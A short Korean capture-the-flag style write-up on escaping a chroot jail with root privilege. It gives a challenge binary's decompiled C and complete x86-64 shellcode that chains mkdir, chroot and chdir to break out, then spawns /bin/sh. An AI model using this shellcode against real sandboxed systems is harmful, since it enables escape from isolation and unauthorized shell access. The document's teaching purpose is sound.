how to breakout chroot with root privilege

자세한 설명은 해당 롸업을 보면 된다. ‣

C
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  if ( chdir("/jail") )
  {
    puts("[!] chdir failed. Send DM to rootsquare...");
    exit(1);
  }
  if ( chroot("/jail") )
  {
    puts("[!] chroot failed. Send DM to rootsquare...");
    exit(1);
  }
  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  printf("You are jailed... Cast your spell!\n> ");
  read(0, buf, 0x400uLL);
  ((void (*)(void))buf)();
  return 0;
}

만약 프로세스에서 다음과 같이 chdir과 chroot로 프로세스상의 root 디렉토리와 작업디렉토리를 바꾸어놓는다면 프로세스상에서 execve(”/bin/sh”)을 하여도 해당 명령어가 없기에 셸을 딸 수가 없다.

따라서 작업디렉토리를 root 디렉토리 ( jail 이라고 칭함 ) 에서 빠져나와야 한다.

이때 한가지 트릭이 가능하다. ( 프로세스의 권한이 root 일때 )

바로 mkdir로 디렉토리를 만들고 해당 디렉토리에 chroot를 적용시키면 작업디렉토리는 jail 그대로인데

root 디렉토리가 하위디렉토리로 이동하면서 자연스럽게 작업디렉토리가 jail로 부터 빠져나오게 된다.

C
shellcode = asm('''
    /* mkdir(".out", 0755) */
    xor rdi, rdi
    push 0x74756f2e          /* ".out\\0" */
    mov rdi, rsp
    mov rsi, 0755
    mov rax, 83              /* sys_mkdir */
    syscall

    /* chroot(".out") */
    mov rdi, rsp
    mov rax, 161             /* sys_chroot */
    syscall

    /* chdir("../../../../../") */
    /* We'll push "../../../../.." manually */
    xor rdi, rdi
    lea rdi, [rip + path]
    mov rax, 80              /* sys_chdir */
    syscall

    /* chroot(".") */
    xor rdi, rdi
    push 0x2e                /* "." */
    mov rdi, rsp
    mov rax, 161             /* sys_chroot */
    syscall

    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x68732f6e69622f
    xor [rsp], rax
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call execve() */
    push 59 /* 0x3b */
    pop rax
    syscall


path:
    .ascii "../../../../"
    .byte 0

''')

따라서 다음과 같이 셸코드를 작성하면 jail break 가 가능하다.

핵심 아이디어는 디렉토리를 만들고 해당 디렉토리에 chroot를 걸면 프로세스의 작업디렉토리가 루트디렉토리 밖으로 나올 수 있다는 점이다.